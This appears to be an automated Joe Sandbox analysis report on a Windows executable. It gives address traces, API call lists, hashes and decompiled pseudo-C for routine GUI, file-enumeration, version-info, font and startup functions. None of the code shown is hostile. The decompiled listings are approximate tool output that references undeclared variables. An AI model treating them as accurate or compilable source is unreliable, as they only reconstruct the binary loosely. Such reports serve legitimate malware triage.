0x0046a6a4
0x00000000
0x0046a6aa
0x0046a6aa
0x0046a6ac
0x0046a6ad
0x0046a6b2
0x0046a6b5
0x0046a6b8
0x0046a6be
0x0046a6c3
0x0046a6c5
0x0046a6e8
0x0046a6fe
0x0046a70f
0x0046a71f
0x0046a736
0x0046a736
0x0046a739
0x0046a739
0x0046a747
0x0046a74c
0x0046a74c
0x0046a754
0x0046a756
0x0046a759
0x0046a75c
0x0046a76a
0x0046a76a
0x0046a6a4
0x0046a4ed
0x0046a4ef
0x0046a4f0
0x0046a4f5
0x0046a4f8
0x0046a4fb
0x0046a4fb
0x0046a503
0x0046a50d
0x0046a532
0x0046a537
0x0046a537
0x0046a53b
0x0046a53e
0x0046a541
0x0046a54c
0x0046a55a
0x0046a566
0x0046a580
0x0046a584
0x0046a58f
0x0046a594
0x0046a59a
0x0046a5a6
0x0046a5ab
0x0046a5b9
0x0046a5b9
0x0046a568
0x0046a568
0x0046a56b
0x0046a56e
0x0046a579
0x0046a579
0x0046a5c4
0x0046a5cd
0x0046a5d6
0x0046a5db
0x0046a5dd
0x0046a5df
0x0046a5e4
0x0046a5ea
0x0046a5ea
0x0046a609
0x0046a60e
0x0046a615
0x0046a50f
0x0046a511
0x0046a520
0x0046a525
0x00000000
0x0046a525
0x0046a511
0x0046a50d
0x0046a625
0x0046a62a
0x0046a634
0x0046a637
0x0046a63a
0x0046a648
0x0046a648

APIs

FindNextFileA.KERNEL32(000000FF,?,00000000,0046A649,?,00000000,?,00000001,00000000,0046A817,?,00000000,?,00000000,?,0046A9D2), ref: 0046A625
FindClose.KERNEL32(000000FF,0046A650,0046A649,?,00000000,?,00000001,00000000,0046A817,?,00000000,?,00000000,?,0046A9D2,?), ref: 0046A643
FindNextFileA.KERNEL32(000000FF,?,00000000,0046A76B,?,00000000,?,00000001,00000000,0046A817,?,00000000,?,00000000,?,0046A9D2), ref: 0046A747
FindClose.KERNEL32(000000FF,0046A772,0046A76B,?,00000000,?,00000001,00000000,0046A817,?,00000000,?,00000000,?,0046A9D2,?), ref: 0046A765

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Find$CloseFileNext
String ID:
API String ID: 2066263336-0
Opcode ID: 642c4e1e54191ea309fcd4058225aab2fa0062ac43964b02fb0fa2f81c6087ad
Instruction ID: 9e3b6bbb7669584a5b08e44b159600427b84327eb66dec1ab996ae4c3905ae8d
Opcode Fuzzy Hash: 642c4e1e54191ea309fcd4058225aab2fa0062ac43964b02fb0fa2f81c6087ad
Instruction Fuzzy Hash: 71B13C7490424DAFCF11DFA9C841ADEBBB8BF49304F5081AAE848B3291D7389E55CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0042133C Relevance: 6.1, APIs: 4, Instructions: 127
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0042133C(void* __eax, intOrPtr __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t42;
				struct HMENU__* _t51;
				intOrPtr _t58;
				intOrPtr _t60;
				intOrPtr _t62;
				void* _t67;
				void* _t82;
				intOrPtr _t83;
				void* _t85;
				void* _t86;
				void* _t87;
				intOrPtr* _t88;

				_t88 = _t87 + 0xfffffff8;
				_t83 = __edx;
				_t67 = __eax;
				if(__edx == 0) {
					L7:
					_t23 =  *((intOrPtr*)(_t67 + 0x124));
					if( *((intOrPtr*)(_t67 + 0x124)) != 0) {
						E00412598(_t23, 0);
					}
					 *((intOrPtr*)(_t67 + 0x124)) = _t83;
					if(_t83 != 0) {
						E004103A0(_t83, _t67);
					}
					if(_t83 == 0 || ( *(_t67 + 0x1c) & 0x00000010) == 0 &&  *((char*)(_t67 + 0x111)) == 3) {
						if(E00418440(_t67) != 0) {
							SetMenu(E004182A8(_t67), 0); // executed
						}
						goto L26;
					} else {
						if( *((char*)( *((intOrPtr*)(_t67 + 0x124)) + 0x34)) != 0 ||  *((char*)(_t67 + 0x116)) == 1) {
							if(( *(_t67 + 0x1c) & 0x00000010) == 0) {
								if( *((char*)(_t67 + 0x116)) != 1 && E00418440(_t67) != 0) {
									SetMenu(E004182A8(_t67), 0);
								}
								goto L26;
							}
							goto L17;
						} else {
							L17:
							if(E00418440(_t67) != 0) {
								_t42 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t67 + 0x124)))) + 0x2c))();
								if(_t42 != GetMenu(E004182A8(_t67))) {
									_t51 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t67 + 0x124)))) + 0x2c))();
									SetMenu(E004182A8(_t67), _t51);
								}
								E00412598(_t83, E004182A8(_t67));
							}
							L26:
							if( *((char*)(_t67 + 0x115)) != 0) {
								E00421EF4(_t67, 0xf0c0, 1);
							}
							return E00421284(_t67);
						}
					}
				}
				_t58 =  *0x48d62c; // 0x2160660
				_t85 = E00423284(_t58) - 1;
				if(_t85 >= 0) {
					_t86 = _t85 + 1;
					_t82 = 0;
					do {
						_t60 =  *0x48d62c; // 0x2160660
						if(_t83 ==  *((intOrPtr*)(E00423278(_t60) + 0x124))) {
							_t62 =  *0x48d62c; // 0x2160660
							if(_t67 != E00423278(_t62)) {
								 *_t88 =  *((intOrPtr*)(_t83 + 8));
								 *((char*)(_t88 + 4)) = 0xb;
								E00408DC0(_t67, 0xf0c0, 1, _t82, _t83, 0, _t88);
								E00403264();
							}
						}
						_t82 = _t82 + 1;
						_t86 = _t86 - 1;
					} while (_t86 != 0);
				}
			}

0x00421340
0x00421343
0x00421345
0x00421349
0x004213ab
0x004213ab
0x004213b3
0x004213b7
0x004213b7
0x004213bc
0x004213c4
0x004213ca
0x004213ca
0x004213d1
0x0042148b
0x00421497
0x00421497
0x00000000
0x004213ea
0x004213f4
0x00421403
0x00421464
0x0042147b
0x0042147b
0x00000000
0x00421464
0x00000000
0x00421405
0x00421405
0x0042140e
0x0042141c
0x00421430
0x0042143a
0x00421446
0x00421446
0x00421456
0x00421456
0x0042149c
0x004214a3
0x004214a9
0x004214a9
0x004214bb
0x004214bb
0x004213f4
0x004213d1
0x0042134b
0x00421357
0x0042135a
0x0042135c
0x0042135d
0x0042135f
0x00421361
0x00421371
0x00421375
0x00421381
0x00421386
0x00421389
0x0042139d
0x004213a2
0x004213a2
0x00421381
0x004213a7
0x004213a8
0x004213a8
0x0042135f

APIs

GetMenu.USER32(00000000), ref: 00421429
SetMenu.USER32(00000000,00000000), ref: 00421446
SetMenu.USER32(00000000,00000000), ref: 0042147B
SetMenu.USER32(00000000,00000000), ref: 00421497

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Menu
String ID:
API String ID: 3711407533-0
Opcode ID: b740002c252b0eaa61b67f3d7df36a4faddbe39b5bd2e3a745d4ad23bf4fc522
Instruction ID: ed2eec1c9df0a1c35cc319bbddc0436bf923f05cb9cc28f34756a25b8f072dfe
Opcode Fuzzy Hash: b740002c252b0eaa61b67f3d7df36a4faddbe39b5bd2e3a745d4ad23bf4fc522
Instruction Fuzzy Hash: 8741A1307002645BDB20FB3AA8857AA66964F61308F4906BFFC499F3A7CA7DCC45835D

Uniqueness

Uniqueness Score: -1.00%

Function 004510A4 Relevance: 6.1, APIs: 4, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E004510A4(void* __eax, void* __edx) {
				void* _v8;
				char _v9;
				char _v16;
				intOrPtr _v20;
				void* _v24;
				char _v28;
				void* _t29;
				intOrPtr _t36;
				intOrPtr _t46;
				intOrPtr _t52;
				void* _t56;
				intOrPtr _t67;
				intOrPtr _t69;
				void* _t72;
				void* _t81;
				void* _t86;
				void* _t88;
				intOrPtr _t89;

				_t86 = _t88;
				_t89 = _t88 + 0xffffffe8;
				_v8 = __edx;
				_t81 = __eax;
				_v9 = 0;
				_push( &_v16);
				_t29 = E00403880(__eax);
				_t72 = _t29;
				_push(_t72); // executed
				L00405C8C(); // executed
				_t56 = _t29;
				if(_t56 <= 0) {
					__eflags =  *0x48c0e0 - 1;
					if(__eflags == 0) {
						L10:
						return _v9;
					} else {
						_v20 = E00450EEC(_t81, __eflags);
						__eflags = _v20;
						if(_v20 == 0) {
							goto L10;
						} else {
							_push(_t86);
							_push(0x4511b2);
							_push( *[fs:eax]);
							 *[fs:eax] = _t89;
							_push( &_v28);
							_push( &_v24);
							_push(E004511C4);
							_t36 = _v20;
							_push(_t36);
							L00405C94();
							__eflags = _t36;
							if(_t36 != 0) {
								memcpy(_v8, _v24, 0xd << 2);
								_v9 = 1;
							}
							__eflags = 0;
							_pop(_t67);
							 *[fs:eax] = _t67;
							_push(E004511B9);
							return E00402668(_v20);
						}
					}
				} else {
					_v20 = E00402650(_t56);
					_push(_t86);
					_push(0x45113f);
					_push( *[fs:eax]);
					 *[fs:eax] = _t89;
					_push(_v20);
					_push(_t56);
					_t46 = _v16;
					_push(_t46);
					_push(_t72); // executed
					L00405C84(); // executed
					if(_t46 != 0) {
						_push( &_v28);
						_push( &_v24);
						_push(E004511C4);
						_t52 = _v20;
						_push(_t52);
						L00405C94();
						if(_t52 != 0) {
							memcpy(_v8, _v24, 0xd << 2);
							_v9 = 1;
						}
					}
					_pop(_t69);
					 *[fs:eax] = _t69;
					_push(E004511B9);
					return E00402668(_v20);
				}
			}

0x004510a5
0x004510a7
0x004510ad
0x004510b0
0x004510b2
0x004510b9
0x004510bc
0x004510c1
0x004510c3
0x004510c4
0x004510c9
0x004510cd
0x00451146
0x0045114d
0x004511b9
0x004511c2
0x0045114f
0x00451156
0x00451159
0x0045115d
0x00000000
0x0045115f
0x00451161
0x00451162
0x00451167
0x0045116a
0x00451170
0x00451174
0x00451175
0x0045117a
0x0045117d
0x0045117e
0x00451183
0x00451185
0x00451196
0x00451198
0x00451198
0x0045119c
0x0045119e
0x004511a1
0x004511a4
0x004511b1
0x004511b1
0x0045115d
0x004510cf
0x004510d6
0x004510db
0x004510dc
0x004510e1
0x004510e4
0x004510ea
0x004510eb
0x004510ec
0x004510ef
0x004510f0
0x004510f1
0x004510f8
0x004510fd
0x00451101
0x00451102
0x00451107
0x0045110a
0x0045110b
0x00451112
0x00451123
0x00451125
0x00451125
0x00451112
0x0045112b
0x0045112e
0x00451131
0x0045113e
0x0045113e

APIs

73EE14E0.VERSION(00000000,?,?,?,0048A535), ref: 004510C4
73EE14C0.VERSION(00000000,?,00000000,?,00000000,0045113F,?,00000000,?,?,?,0048A535), ref: 004510F1
73EE1500.VERSION(?,004511C4,?,?,00000000,?,00000000,?,00000000,0045113F,?,00000000,?,?,?,0048A535), ref: 0045110B
73EE1500.VERSION(00000000,004511C4,?,?,00000000,004511B2,?,00000000,?,?,?,0048A535), ref: 0045117E

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: E1500
String ID:
API String ID: 3315179204-0
Opcode ID: 69b6c89ab7e58b08d2ef8c32711442488174024db6fa8cbe7fb001bea91ad0d4
Instruction ID: c8f8831e43f873d46ab33d5beb91d9861939245644d7e1d35c8cdbeedf39938d
Opcode Fuzzy Hash: 69b6c89ab7e58b08d2ef8c32711442488174024db6fa8cbe7fb001bea91ad0d4
Instruction Fuzzy Hash: BA318D71A04609AFDB01DAA9CC41EBFB7ECEB4D304F5504BAED00E3292D6799D09C769

Uniqueness

Uniqueness Score: -1.00%

Function 0044B0B8 Relevance: 6.1, APIs: 4, Instructions: 98
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E0044B0B8(struct HDC__* __eax, void* __ebx, void* __edi, void* __esi) {
				struct HDC__* _v8;
				void* _v12;
				struct HDC__* _v16;
				struct tagRECT _v32;
				struct HDC__* _t49;
				signed int _t57;
				int _t61;
				struct HDC__* _t67;
				intOrPtr _t75;
				intOrPtr _t79;
				void* _t83;
				void* _t84;
				intOrPtr _t85;
				intOrPtr _t89;

				_t81 = __esi;
				_t80 = __edi;
				_t68 = __ebx;
				_t83 = _t84;
				_t85 = _t84 + 0xffffffe4;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v12 = 0;
				_v8 = __eax;
				_push(_t83);
				_push(0x44b1fb);
				_push( *[fs:eax]);
				 *[fs:eax] = _t85;
				if(( *(_v8 + 0x1c) & 0x00000002) != 0 ||  *((char*)(_v8 + 0xfc)) == 0) {
					__eflags = 0;
					_pop(_t75);
					 *[fs:eax] = _t75;
					_push(E0044B202);
					return E00403548( &_v12);
				} else {
					_t71 =  *((intOrPtr*)(_v8 + 0x2c));
					E0040AD00(0,  *((intOrPtr*)(_v8 + 0x2c)), 0,  &_v32, 0);
					if(_v32.right > 0) {
						_t13 =  &(_v32.right);
						 *_t13 = _v32.right - 1;
						_t89 =  *_t13;
					}
					E00414BB0(_v8,  &_v12, _t89);
					if(_v12 == 0) {
						L8:
						_t49 = E004036C4( &_v12, 0x44b214);
					} else {
						_t49 = _v8;
						if( *((char*)(_t49 + 0x104)) != 0) {
							_t49 = _v12;
							if( *_t49 == 0x26) {
								_t49 = _v12;
								if(_t49->i == 0) {
									goto L8;
								}
							}
						}
					}
					_push(0);
					L0040602C();
					_v16 = _t49;
					_push(_t83);
					_push(0x44b1c0);
					_push( *[fs:eax]);
					 *[fs:eax] = _t85;
					SelectObject(_v16, E0041A2B0( *((intOrPtr*)(_v8 + 0x44)), _t68, _t71, _t80, _t81));
					_t57 = E0044B094(_v8);
					_t61 = E004036BC(_v12);
					DrawTextA(_v16, E00403880(_v12), _t61,  &_v32, _t57 | 0x00000400); // executed
					_pop(_t79);
					 *[fs:eax] = _t79;
					_push(E0044B1C7);
					_t67 = _v16;
					_push(_t67);
					_push(0);
					L00406214();
					return _t67;
				}
			}

0x0044b0b8
0x0044b0b8
0x0044b0b8
0x0044b0b9
0x0044b0bb
0x0044b0be
0x0044b0bf
0x0044b0c0
0x0044b0c3
0x0044b0c6
0x0044b0cb
0x0044b0cc
0x0044b0d1
0x0044b0d4
0x0044b0de
0x0044b1e5
0x0044b1e7
0x0044b1ea
0x0044b1ed
0x0044b1fa
0x0044b0f4
0x0044b0fd
0x0044b104
0x0044b10d
0x0044b10f
0x0044b10f
0x0044b10f
0x0044b10f
0x0044b118
0x0044b121
0x0044b140
0x0044b148
0x0044b123
0x0044b123
0x0044b12d
0x0044b12f
0x0044b135
0x0044b137
0x0044b13e
0x00000000
0x00000000
0x0044b13e
0x0044b135
0x0044b12d
0x0044b14d
0x0044b14f
0x0044b154
0x0044b159
0x0044b15a
0x0044b15f
0x0044b162
0x0044b175
0x0044b17d
0x0044b18f
0x0044b1a2
0x0044b1a9
0x0044b1ac
0x0044b1af
0x0044b1b4
0x0044b1b7
0x0044b1b8
0x0044b1ba
0x0044b1bf
0x0044b1bf

APIs

740BAC50.USER32(00000000,?,00000000,00000000,0044B1FB,?,?,?,?), ref: 0044B14F
SelectObject.GDI32(?,00000000), ref: 0044B175
DrawTextA.USER32(?,00000000,00000000,?,00000000), ref: 0044B1A2
740BB380.USER32(00000000,?,0044B1C7,0044B1C0,?,00000000,?,00000000,00000000,0044B1FB,?,?,?,?), ref: 0044B1BA

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: B380DrawObjectSelectText
String ID:
API String ID: 1652335368-0
Opcode ID: bc4c7d88200d52cf54ed5a5e5976a6b8a21a2d9495f428531505900e307e05ca
Instruction ID: bf10fe6f08034a2c68b865162127de74a15735e291b7bdd25d7118bf05ecb826
Opcode Fuzzy Hash: bc4c7d88200d52cf54ed5a5e5976a6b8a21a2d9495f428531505900e307e05ca
Instruction Fuzzy Hash: 2A317070A04248BFEB11DFA5C856F9EBBF9EB49304F5140A6F404E7291D7389E40CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00416C0A Relevance: 6.1, APIs: 4, Instructions: 67
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00416C0A(void* __eax, int* __edx) {
				void* _t21;
				long _t23;
				long _t37;
				long _t42;
				int _t47;
				struct HWND__* _t50;

				_t49 = __edx;
				_t43 = __eax;
				_t50 =  *(__eax + 0xc0);
				if(_t50 == 0) {
					return E004153E4(__eax, __edx);
				}
				_t47 =  *__edx;
				_t21 = _t47 + 0xfffffece - 7;
				if(_t21 < 0) {
					_t23 = SendMessageA(__edx[2], _t47 + 0xbc00, __edx[1], __edx[2]);
					 *(_t49 + 0xc) = _t23;
					return _t23;
				}
				if(_t21 + 0xffff4407 - 7 < 0) {
					SetTextColor(__edx[1], E0041A120( *((intOrPtr*)( *((intOrPtr*)(__eax + 0x44)) + 0x10))));
					SetBkColor(__edx[1], E0041A120(E0041A76C( *((intOrPtr*)(_t43 + 0xbc)))));
					_t37 = E0041A7A8( *((intOrPtr*)(_t43 + 0xbc)));
					 *(_t49 + 0xc) = _t37;
					return _t37;
				}
				_t42 = CallWindowProcA( *(__eax + 0xac), _t50,  *__edx, __edx[1], __edx[2]); // executed
				 *(_t49 + 0xc) = _t42;
				return _t42;
			}

0x00416c10
0x00416c12
0x00416c14
0x00416c1c
0x00000000
0x00416cb6
0x00416c22
0x00416c2b
0x00416c2e
0x00416c4c
0x00416c51
0x00000000
0x00416c51
0x00416c38
0x00416c66
0x00416c80
0x00416c8b
0x00416c90
0x00000000
0x00416c90
0x00416ca8
0x00416cad
0x00000000

APIs

SendMessageA.USER32 ref: 00416C4C
SetTextColor.GDI32(?,00000000), ref: 00416C66
SetBkColor.GDI32(?,00000000), ref: 00416C80
CallWindowProcA.USER32 ref: 00416CA8

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Color$CallMessageProcSendTextWindow
String ID:
API String ID: 601730667-0
Opcode ID: d2ffe42f13c1091e28b7b9725e3c877c548081e4286fc0418fecb33e28b2a67f
Instruction ID: 269df164a710b99dec436246b5747d638c90ae1c4ded9ebfccc10c4a0f795a7e
Opcode Fuzzy Hash: d2ffe42f13c1091e28b7b9725e3c877c548081e4286fc0418fecb33e28b2a67f
Instruction Fuzzy Hash: 101151B1600600AFC710EF6ECD80E9773EDEF48314715882AB59ACB701D638EC418BAD

Uniqueness

Uniqueness Score: -1.00%

Function 00423190 Relevance: 6.1, APIs: 4, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E00423190(char __edx) {
				char _v5;
				void* __ecx;
				void* __ebp;
				void* _t8;
				struct HDC__* _t18;
				int _t20;
				void* _t22;
				void* _t23;
				char _t24;
				struct HDC__* _t29;
				void* _t30;
				void* _t31;

				_t24 = __edx;
				if(__edx != 0) {
					_t31 = _t31 + 0xfffffff0;
					_t8 = E00402E78(_t8, _t30);
				}
				_v5 = _t24;
				_t22 = _t8;
				E004102E8(_t23, 0);
				E00423304(_t22);
				 *(_t22 + 0x20) = E00402C78(1);
				 *((intOrPtr*)(_t22 + 0x2c)) = E00402C78(1);
				_t18 = E00402C78(1);
				 *(_t22 + 0x30) = _t18;
				_push(0);
				L0040602C();
				_t29 = _t18;
				_t5 = _t22 + 0x20; // 0x410718
				_t20 = EnumFontsA(_t29, 0, E00423130,  *_t5); // executed
				_push(0x5a);
				_push(_t29);
				L00405D5C();
				 *(_t22 + 0x24) = _t20;
				_push(_t29);
				_push(0);
				L00406214();
				if(_v5 != 0) {
					_pop( *[fs:0x0]);
				}
				return _t22;
			}

0x00423190
0x00423198
0x0042319a
0x0042319d
0x0042319d
0x004231a2
0x004231a5
0x004231ab
0x004231b2
0x004231c3
0x004231d2
0x004231dc
0x004231e1
0x004231e4
0x004231e6
0x004231eb
0x004231ed
0x004231f9
0x004231fe
0x00423200
0x00423201
0x00423206
0x00423209
0x0042320a
0x0042320c
0x00423215
0x00423217
0x0042321e
0x00423227

APIs

740BAC50.USER32(00000000,?,?,00000000,?,0041909B,00000000,?,?,00000001,00000000), ref: 004231E6
EnumFontsA.GDI32(00000000,00000000,00423130,00410718,00000000,?,?,00000000,?,0041909B,00000000,?,?,00000001,00000000), ref: 004231F9
740BAD70.GDI32(00000000,0000005A,00000000,00000000,00423130,00410718,00000000,?,?,00000000,?,0041909B,00000000,?,?,00000001), ref: 00423201
740BB380.USER32(00000000,00000000,00000000,0000005A,00000000,00000000,00423130,00410718,00000000,?,?,00000000,?,0041909B,00000000), ref: 0042320C

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: B380EnumFonts
String ID:
API String ID: 1693878748-0
Opcode ID: 03e727ae4ca16b473abeaf2b1cfb166d6fa29172ef8634f232deafc1f7f05573
Instruction ID: c5365d0d9a92aae00af3c8bde8748560cc1d8ccf97e4765f8d554caa7d1de9f2
Opcode Fuzzy Hash: 03e727ae4ca16b473abeaf2b1cfb166d6fa29172ef8634f232deafc1f7f05573
Instruction Fuzzy Hash: 4A01D2B17482106AE300BFBA5C86B9D3A94DF16319F00427BFD08BF2C2D67E8904476E

Uniqueness

Uniqueness Score: -1.00%

Function 0048B758 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 113
COMMON

Download Yara Rule

C-Code - Quality: 73%

			_entry_(void* __ecx, void* __edx, void* __eflags, void* __fp0) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t8;
				intOrPtr _t29;
				intOrPtr _t33;
				intOrPtr _t35;
				intOrPtr _t38;
				intOrPtr _t43;
				intOrPtr _t49;
				intOrPtr _t56;
				void* _t59;
				void* _t60;
				void* _t62;
				void* _t70;
				intOrPtr _t71;
				intOrPtr _t75;
				intOrPtr _t76;
				intOrPtr _t77;
				void* _t78;
				void* _t79;
				intOrPtr _t81;

				_t82 = __eflags;
				_t70 = __edx;
				_t60 = __ecx;
				E0040348C();
				E004057F0(_t59, _t78, _t79, __eflags); // executed
				_t8 = E00409A20(_t59, _t60, _t70, _t78, _t79, _t82); // executed
				E00409C40(_t8);
				E00410A1C();
				E00410A94();
				E004129F0(_t59, _t78, _t79, _t82);
				E00425008(E00419108(_t78));
				E0042EC28();
				E0042FF0C(_t60);
				E004321C0(_t60, _t78);
				E0044F3E8();
				E00450EB4(_t59, _t78, _t79); // executed
				E00451C94(_t59, _t60, _t78, _t79); // executed
				E00455180(_t78, _t79, _t82);
				E00455DF0();
				E00466368(); // executed
				E004785C8(_t59, _t78, _t79, _t82); // executed
				_push( *[fs:eax]);
				 *[fs:eax] = _t81;
				SetErrorMode(1); // executed
				E0048B568();
				_t29 =  *0x48d628; // 0x2162410
				E0042459C(_t29, _t78, _t79, E0048B558, 0x48b54c); // executed
				E0048B5B0(_t59, _t70, _t78, _t79, _t82); // executed
				_pop(_t71);
				_t62 = 0x48b7fe;
				 *[fs:eax] = _t71;
				_t33 =  *0x48d628; // 0x2162410
				E0042438C(_t33, 0x48b964, _t78);
				_t35 =  *0x48d628; // 0x2162410
				ShowWindow( *(_t35 + 0x20), 5);
				_t38 =  *0x48d628; // 0x2162410
				 *((intOrPtr*)(_t38 + 0x90)) = 0x46edac;
				 *((intOrPtr*)(_t38 + 0x8c)) = E004770CC;
				_push(_t80);
				_push(0x48b895);
				_push( *[fs:eax]);
				 *[fs:eax] = _t81;
				E00424670(); // executed
				E00474C38(_t59, _t62, 0x46edac, _t78, _t79, _t82); // executed
				_t43 =  *0x48d628; // 0x2162410, executed
				E00424680(_t43, 0x4adf90, 0x46edac); // executed
				E00477240(_t82, __fp0); // executed
				_pop(_t75);
				 *[fs:eax] = _t75;
				_push(_t80);
				_push(0x48b8fe);
				_push( *[fs:eax]);
				 *[fs:eax] = _t81;
				_t49 =  *0x48d628; // 0x2162410
				E00424710(_t49, _t78, _t79);
				_pop(_t76);
				 *[fs:eax] = _t76;
				_push(_t80);
				_push(0x48b934);
				_push( *[fs:eax]);
				 *[fs:eax] = _t81;
				E004764A8(0 |  *0x4ae288 == 0x00000000, _t59, _t78, _t79,  *0x4ae288, __fp0);
				_pop(_t77);
				 *[fs:eax] = _t77;
				_t56 =  *0x4ae288; // 0x0
				E00404FA8(_t56);
				return E00404FA4();
			}

0x0048b758
0x0048b758
0x0048b758
0x0048b761
0x0048b766
0x0048b76b
0x0048b770
0x0048b775
0x0048b77a
0x0048b77f
0x0048b789
0x0048b78e
0x0048b793
0x0048b798
0x0048b79d
0x0048b7a2
0x0048b7a7
0x0048b7ac
0x0048b7b1
0x0048b7b6
0x0048b7bb
0x0048b7c8
0x0048b7cb
0x0048b7d0
0x0048b7d5
0x0048b7e5
0x0048b7ea
0x0048b7ef
0x0048b7f6
0x0048b7f8
0x0048b7f9
0x0048b81c
0x0048b821
0x0048b828
0x0048b831
0x0048b836
0x0048b840
0x0048b846
0x0048b852
0x0048b853
0x0048b858
0x0048b85b
0x0048b863
0x0048b868
0x0048b877
0x0048b87c
0x0048b886
0x0048b88d
0x0048b890
0x0048b8de
0x0048b8df
0x0048b8e4
0x0048b8e7
0x0048b8ea
0x0048b8ef
0x0048b8f6
0x0048b8f9
0x0048b90f
0x0048b910
0x0048b915
0x0048b918
0x0048b925
0x0048b92c
0x0048b92f
0x0048b943
0x0048b948
0x0048b958

APIs

Part of subcall function 0040348C: GetModuleHandleA.KERNEL32(00000000,0048B766), ref: 00403493
Part of subcall function 0040348C: GetCommandLineA.KERNEL32(00000000,0048B766), ref: 0040349E

Part of subcall function 00409C40: 6F52DB20.COMCTL32(0048B775), ref: 00409C40

Part of subcall function 00410A1C: GetCurrentThreadId.KERNEL32 ref: 00410A6A

Part of subcall function 00419108: GetVersion.KERNEL32(0048B789), ref: 00419108

Part of subcall function 004321C0: OleInitialize.OLE32(00000000), ref: 004321CC

Part of subcall function 0044F3E8: GetModuleHandleA.KERNEL32(user32.dll,NotifyWinEvent,0048B7A2), ref: 0044F423
Part of subcall function 0044F3E8: 6C8D5550.KERNEL32(00000000,user32.dll,NotifyWinEvent,0048B7A2), ref: 0044F429

Part of subcall function 00451C94: GetModuleHandleA.KERNEL32(kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00451D2D,?,?,?,?,00000000,?,0048B7AC), ref: 00451CB4
Part of subcall function 00451C94: 6C8D5550.KERNEL32(00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00451D2D,?,?,?,?,00000000,?,0048B7AC), ref: 00451CBA
Part of subcall function 00451C94: GetModuleHandleA.KERNEL32(kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00451D2D,?,?,?,?,00000000,?,0048B7AC), ref: 00451CCE
